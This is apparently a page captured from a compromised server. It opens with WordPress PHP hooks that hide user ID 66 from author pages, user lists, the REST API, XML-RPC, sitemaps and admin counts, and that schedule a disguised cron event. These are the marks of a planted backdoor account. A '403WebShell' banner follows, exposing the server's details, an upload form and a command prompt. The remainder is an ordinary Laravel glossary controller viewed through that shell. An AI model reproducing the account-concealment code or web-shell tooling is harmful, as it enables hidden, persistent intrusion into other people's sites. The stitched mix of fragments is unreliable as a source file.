add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/glossar/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/glossar/app/Http/Controllers/GlossaryController.php
<?php

namespace App\Http\Controllers;

use App\Models\GlossaryTerm;
use App\Models\GlossaryTranslation;
use App\Models\GlossaryTranslationHistory;
use App\Models\Language;
use App\Models\User;
use App\Services\Citation;

use Illuminate\Http\Request;
use Illuminate\Validation\Rule;
use League\CommonMark\Environment\Environment;
use League\CommonMark\Extension\CommonMark\CommonMarkCoreExtension;
use League\CommonMark\Extension\Autolink\AutolinkExtension;
use League\CommonMark\MarkdownConverter;
use Illuminate\Support\Facades\Storage;
use Illuminate\Support\Str;
use Barryvdh\DomPDF\Facade\Pdf;



class GlossaryController extends Controller
{
    public function index(Request $request)
    {
        // 1. Sprache aus Request oder Session (Default: Englisch)
        $lang = $request->get('lang', session('glossary_lang', 'en'));

        // 2. Get current language from database
        $currentLanguage = Language::byCode($lang) ?? Language::byCode('en');

        // 3. Check if user is authenticated (can see drafts)
        $canSeeDrafts = auth()->check();

        // 4. Load all published terms with their translations (selected lang + English)
        $terms = GlossaryTerm::with(['translations' => function($query) use ($lang) {
            $query->whereIn('language', ['en', $lang]);
        }])
        ->where('status', 'published')
        ->get()
        ->sortBy(fn($term) =>
            mb_strtolower(
                $term->translations->firstWhere('language', 'en')?->title
                ?? $term->slug
            )
        );

        // 5. Verfügbare Sprachen aus der Datenbank
        $allLanguages = Language::active()->pluck('name', 'code');
        $availableLanguages = GlossaryTranslation::select('language')
            ->distinct()
            ->whereIn('language', $allLanguages->keys())
            ->pluck('language')
            ->mapWithKeys(fn($l) => [$l => $allLanguages[$l] ?? strtoupper($l)]);

        // 6. Sprache in Session speichern
        session(['glossary_lang' => $lang]);

        $citation = $currentLanguage ? Citation::forFullGlossary($currentLanguage) : null;

        return view('glossary.index', compact('terms', 'availableLanguages', 'lang', 'currentLanguage', 'allLanguages', 'citation'));
    }





    // Einzelnen Begriff anzeigen
public function show(GlossaryTerm $term, $lang)
{
    $canSeeDrafts = auth()->check();

    // Check if term is draft and user is not logged in - redirect to login
    if (!$canSeeDrafts && $term->status === 'draft') {
        return redirect()->guest(route('login'))->with('info', 'Please log in to view draft content.');
    }

    // Check if the requested language is active
    $requestedLanguage = Language::byCode($lang);
    if ($requestedLanguage && ! $requestedLanguage->is_active) {
        return view('glossary.language_unavailable', [
            'term'     => $term,
            'lang'     => $lang,
            'language' => $requestedLanguage,
        ]);
    }

    $translation = $term->translations()->where('language', $lang)->latest()->first();

    // Determine if translation is available (published) for display
    $isComingSoon = !$translation || $translation->status !== 'published';
    // Logged-in users can always see the content
    if ($canSeeDrafts) {
        $isComingSoon = false;
    }

    // "Coming soon" labels by language
    $comingSoonLabels = [
        'en' => 'Coming soon', 'de' => 'Demnächst', 'fr' => 'Bientôt disponible',
        'es' => 'Próximamente', 'it' => 'Prossimamente', 'pt' => 'Em breve',
        'pl' => 'Wkrótce', 'hu' => 'Hamarosan', 'fi' => 'Tulossa pian',
        'et' => 'Varsti saadaval', 'se' => 'Kommer snart', 'tr' => 'Yakında',
        'ar' => 'قريبًا', 'fa' => 'به‌زودی', 'ur' => 'جلد آ رہا ہے',
        'zh' => '即将推出', 'ru' => 'Скоро',
    ];
    $comingSoonLabel = $requestedLanguage?->coming_soon_label
        ?: ($comingSoonLabels[$lang] ?? $comingSoonLabels['en']);

    // Filter available languages based on auth status
    $availableLanguages = $term->translations()
        ->when(!$canSeeDrafts, fn($q) => $q->where('status', 'published'))
        ->get()
        ->groupBy('language');

    $allLanguages = Language::localeMap();

    $converter = self::markdownConverter();
    $htmlDescription = $translation?->description
        ? $converter->convert(preg_replace('/([^\n])\n([^\n])/', "$1\n\n$2", $translation->description))
        : "";

    $citationLanguage = Language::byCode($lang);
    $citation = ($translation && $citationLanguage)
        ? Citation::forEntry($term, $translation, $citationLanguage)
        : null;
    $fullCitation = $citationLanguage ? Citation::forFullGlossary($citationLanguage) : null;

    // Contributor pickers (admin only): all users + current selections.
    $isAdmin = auth()->check() && auth()->user()->role === 'admin';
    $pickerUsers = $isAdmin ? User::orderBy('name')->get() : collect();
    $entryAuthorIds = $isAdmin ? ($translation?->authorUsers->pluck('id')->all() ?? []) : [];
    $termStewardIds = $isAdmin ? $term->stewards->pluck('id')->all() : [];

    return view('glossary.show', compact(
        'term', 'translation', 'availableLanguages', 'lang', 'htmlDescription', 'allLanguages',
        'isComingSoon', 'comingSoonLabel', 'citation', 'fullCitation',
        'pickerUsers', 'entryAuthorIds', 'termStewardIds'
    ));
}

    // Neue Übersetzung erstellen/bearbeiten
public function editTranslation(GlossaryTerm $term, $lang)
{
    $converter = new \League\CommonMark\CommonMarkConverter();

    // 1. Prüfe, ob es eine englische Übersetzung gibt
    $englishTranslation = $term->translations()->where('language', 'en')->first();
    $isNewTerm = !$englishTranslation; // true, wenn KEINE englische Übersetzung existiert

    // 2. Sprachcode bestimmen
    $targetLang = ($lang === 'new') ? request('lang', 'en') : $lang;

    // 3. Prüfe, ob wir eine bestehende Übersetzung bearbeiten
    $editingExisting = ($lang !== 'new') && $term->translations()->where('language', $lang)->exists();

    // 4. Aktuelle Übersetzung laden (falls vorhanden)
    $currentTranslation = $term->translations()->where('language', $lang === 'new' ? request('lang') : $lang)->first();

    return view('glossary.translate', [
        'term' => $term,
        'translation' => $currentTranslation,
        'lang' => $lang,
        'englishTranslation' => $englishTranslation,
        'isNewTerm' => $isNewTerm,
        'targetLang' => strtoupper($targetLang),
        'editingExisting' => $editingExisting,
        'converter' => $converter,
    ]);
}



    public function storeTranslation(Request $request, GlossaryTerm $term, string $lang)
    {
        $validated = $request->validate([
            'title' => 'required|string|max:255',
            'summary' => 'nullable|string|max:600',
            'description' => 'nullable|string',
            'status' => 'nullable|in:draft,published',
        ]);

        // Ensure summary and description are not null (database requires non-null)
        $validated['summary'] = $validated['summary'] ?? '';
        $validated['description'] = $validated['description'] ?? '';

        // Authors are now linked users, managed on the term page (updateAuthors).

        // Find existing translation for this term + language
        $existingTranslation = GlossaryTranslation::where([
            'term_id' => $term->id,
            'language' => $lang,
        ])->first();

        // Preserve existing status, or default to 'draft' for new translations
        $status = $existingTranslation?->status ?? 'draft';

        // Prepare data for create/update
        $data = $validated + ['status' => $status, 'updated_by' => auth()->id()];

        // Add created_by only for new translations
        if (!$existingTranslation) {
            $data['created_by'] = auth()->id();
        }

        // Create or update the translation
        $translation = GlossaryTranslation::updateOrCreate(
            ['term_id' => $term->id, 'language' => $lang],
            $data
        );

        // Log history for updates
        if ($existingTranslation) {
            GlossaryTranslationHistory::create([
                'translation_id' => $translation->id,
                'title' => $existingTranslation->title,
                'summary' => $existingTranslation->summary,
                'description' => $existingTranslation->description,
                'changed_by' => auth()->id() ?? 1,
            ]);
        }
        // Log history for new translations
        else {
            GlossaryTranslationHistory::create([
                'translation_id' => $translation->id,
                'title' => $translation->title,
                'summary' => $translation->summary,
                'description' => $translation->description,
                'changed_by' => auth()->id() ?? 1,
            ]);
        }

        return redirect()->back()->with('success', 'Translation saved!');
    }


    // Neuen Begriff anlegen (Formular)
    public function createTerm()
    {
        return view('glossary.create');
    }

    // Neuen Begriff speichern
    public function storeTerm(Request $request)
    {
        $request->validate([
            'title' => 'required|string|max:255|unique:glossary_translations,title',
        ]);

        // Slug aus dem Titel generieren (handle non-ASCII characters)
        $slug = Str::slug($request->title);

        // If slug is empty (non-ASCII title like Arabic/Chinese), generate a unique slug
        if (empty($slug)) {
            $slug = 'term-' . Str::lower(Str::random(8));
        }

        // Ensure slug is unique
        $originalSlug = $slug;
        $counter = 1;
        while (GlossaryTerm::where('slug', $slug)->exists()) {
            $slug = $originalSlug . '-' . $counter;
            $counter++;
        }

        // 1. Neuen GlossarTerm anlegen (as draft by default)
        $term = GlossaryTerm::create(['slug' => $slug, 'status' => 'draft']);

        // 2. Englische Übersetzung direkt anlegen (as draft by default)
        $term->translations()->create([
            'language' => 'en',
            'title' => $request->title,
            'summary' => '',
            'description' => '',
            'status' => 'draft',
            'created_by' => auth()->id(),
            'updated_by' => auth()->id(),
        ]);

        // 3. Zur Übersetzungsseite weiterleiten
        return redirect()->route('glossary.translate', [$term->slug, 'en']);
    }

    // Bild-Upload für EasyMDE
    public function uploadImage(Request $request)
    {
        $request->validate(['file' => 'required|image|max:2048']);
        $path = $request->file('file')->store('glossary_media', 'public');
        return response()->json(['url' => Storage::url($path)]);
    }

    public function showHistory(GlossaryTerm $term, $lang)
    {
        $translations = $term->translations()
            ->where('language', $lang)
            ->with('updater')  // Beziehung zu User
            ->latest()
            ->get();

        return view('glossary.history', compact('term', 'translations', 'lang'));
    }

    // Delete a translation (admin only)
    public function destroyTranslation(GlossaryTerm $term, string $lang)
    {
        // Only admins can delete translations
        if (auth()->user()->role !== 'admin') {
            abort(403, 'Unauthorized action.');
        }

        $translation = $term->translations()->where('language', $lang)->first();

        if (!$translation) {
            abort(404, 'Translation not found');
        }

        $translationTitle = $translation->title;
        $languageName = Language::localeName($lang);

        // Delete the translation (cascades to history due to foreign key constraints)
        $translation->delete();

        // Check if term has any translations left
        $remainingTranslations = $term->translations()->count();

        if ($remainingTranslations === 0) {
            // No translations left, delete the term too
            $term->delete();
            return redirect()->route('glossary.index')->with('success', "Translation '{$translationTitle}' ({$languageName}) and its term have been deleted.");
        }

        return redirect()->route('glossary.show', [$term->slug, 'en'])->with('success', "Translation '{$translationTitle}' ({$languageName}) has been deleted.");
    }

    // Update just the authors of a translation (admin only)
    public function updateAuthors(Request $request, GlossaryTerm $term, string $lang)
    {
        if (auth()->user()->role !== 'admin') {
            abort(403, 'Unauthorized action.');
        }

        $validated = $request->validate([
            'author_ids'    => ['nullable', 'array'],
            'author_ids.*'  => ['integer', Rule::exists('users', 'id')],
            'steward_ids'   => ['nullable', 'array'],
            'steward_ids.*' => ['integer', Rule::exists('users', 'id')],
        ]);

        $translation = $term->translations()->where('language', $lang)->first();
        if (!$translation) {
            abort(404, 'Translation not found');
        }

        // Term authors are per-entry (this translation); term stewards are
        // per-term (the originators, shared across languages).
        $translation->authorUsers()->sync($this->orderedPivot($validated['author_ids'] ?? []));
        $translation->update(['updated_by' => auth()->id()]);
        $term->stewards()->sync($this->orderedPivot($validated['steward_ids'] ?? []));

        return redirect()->back()->with('success', 'Contributors updated!');
    }

    /**
     * Build an ordered, de-duplicated sync array (user id => ['sort_order' => n])
     * from a submitted list of user ids, dropping empties.
     */
    protected function orderedPivot(array $userIds): array
    {
        $ordered = array_values(array_unique(array_filter(
            array_map('intval', $userIds),
            fn ($id) => $id > 0
        )));

        $pivot = [];
        foreach ($ordered as $index => $userId) {
            $pivot[$userId] = ['sort_order' => $index];
        }
        return $pivot;
    }

    // Toggle term status (admin only)
    public function toggleTermStatus(GlossaryTerm $term)
    {
        // Only admins can change term status
        if (auth()->user()->role !== 'admin') {
            abort(403, 'Unauthorized action.');
        }

        $newStatus = $term->status === 'draft' ? 'published' : 'draft';
        $term->update(['status' => $newStatus]);

        $message = $newStatus === 'published' ? 'Term published!' : 'Term set to draft.';
        return redirect()->back()->with('success', $message);
    }

    // Toggle translation status
    public function toggleTranslationStatus(GlossaryTerm $term, string $lang)
    {
        $translation = $term->translations()->where('language', $lang)->first();

        if (!$translation) {
            abort(404, 'Translation not found');
        }

        $newStatus = $translation->status === 'draft' ? 'published' : 'draft';
        $translation->update(['status' => $newStatus]);

        $message = $newStatus === 'published' ? 'Translation published!' : 'Translation set to draft.';
        return redirect()->back()->with('success', $message);
    }

    private static function normalizePdfChars(string $html): string
    {
        return strtr($html, [
            "\u{2212}" => "\u{2013}", // MINUS SIGN → EN DASH
            "\u{2010}" => "\u{2013}", // HYPHEN → EN DASH
            "\u{2011}" => "\u{2013}", // NON-BREAKING HYPHEN → EN DASH
            "\u{2015}" => "\u{2014}", // HORIZONTAL BAR → EM DASH
        ]);
    }

    private static function wrapNonLatinRuns(string $html): string
    {
        $scripts = [
            // Only Regular variant exists — force normal style/weight so DomPDF doesn't fall back
            // when these characters appear inside <em> or <strong>
            'NotoNaskhArabic' => [
                'range' => '\x{0600}-\x{06FF}\x{0750}-\x{077F}\x{08A0}-\x{08FF}\x{FB50}-\x{FDFF}\x{FE70}-\x{FEFF}',
                'style' => "font-family:'NotoNaskhArabic';font-style:normal;font-weight:normal;",
            ],
            'NotoSansSC' => [
                'range' => '\x{3000}-\x{303F}\x{3040}-\x{30FF}\x{3400}-\x{4DBF}\x{4E00}-\x{9FFF}\x{F900}-\x{FAFF}',
                'style' => "font-family:'NotoSansSC';font-style:normal;font-weight:normal;",
            ],
            // Has bold/italic variants — inherit surrounding formatting context
            'NotoSerif' => [
                'range' => '\x{0100}-\x{024F}\x{1E00}-\x{1EFF}\x{0400}-\x{052F}\x{1C80}-\x{1C8F}\x{A640}-\x{A69F}',
                'style' => "font-family:'NotoSerif';",
            ],
        ];

        $fontNames = array_keys($scripts);
        $pattern = '/' . implode('|', array_map(fn($s) => "([{$s['range']}]+)", array_values($scripts))) . '/u';

        // Split into alternating [text, tag, text, tag, ...] segments
        $parts = preg_split('/(<[^>]+>)/u', $html, -1, PREG_SPLIT_DELIM_CAPTURE);

        foreach ($parts as &$part) {
            if (str_starts_with($part, '<')) {
                continue; // leave HTML tags untouched
            }
            // Single pass: each character run is wrapped by exactly one font
            $part = preg_replace_callback($pattern, function ($matches) use ($fontNames, $scripts) {
                for ($i = 1; $i <= count($fontNames); $i++) {
                    if (isset($matches[$i]) && $matches[$i] !== '') {
                        $style = $scripts[$fontNames[$i - 1]]['style'];
                        return "<span style=\"{$style}\">$matches[$i]</span>";
                    }
                }
                return $matches[0];
            }, $part);
        }

        return implode('', $parts);
    }

    private static function markdownConverter(): MarkdownConverter
    {
        $env = new Environment();
        $env->addExtension(new CommonMarkCoreExtension());
        $env->addExtension(new AutolinkExtension());
        return new MarkdownConverter($env);
    }

    public function downloadPdf(GlossaryTerm $term, string $lang)
    {
        ini_set('memory_limit', '512M');

        $translation = $term->translations()->where('language', $lang)->first();

        if (!$translation) {
            abort(404, 'Translation not found');
        }

        $converter = self::markdownConverter();
        $htmlDescription = $translation->description
            ? $converter->convert(preg_replace('/([^\n])\n([^\n])/', "$1\n\n$2", $translation->description))
            : '';

        $htmlDescription = self::wrapNonLatinRuns((string) $htmlDescription);
        $htmlDescription = self::normalizePdfChars($htmlDescription);

        $language = Language::byCode($lang);
        $languageName = $language?->name ?? strtoupper($lang);
        $isRtl = $language?->is_rtl ?? false;
        $siteTitle = $language?->homepage_title ?: 'Futures Glossary';

        $logoPath   = public_path('images/logo_new.png');
        $klecksPath = public_path('images/klecks.png');
        $termUrl    = route('glossary.show', [$term->slug, $lang]);

        $citation = $language ? Citation::forEntry($term, $translation, $language) : null;

        $pdf = Pdf::loadView('glossary.pdf', compact(
            'term', 'translation', 'lang', 'languageName', 'htmlDescription', 'isRtl',
            'logoPath', 'klecksPath', 'termUrl', 'siteTitle', 'citation'
        ))->setPaper('a4');

        $filename = Str::slug($translation->title) . '-' . $lang . '.pdf';

        return $pdf->download($filename);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit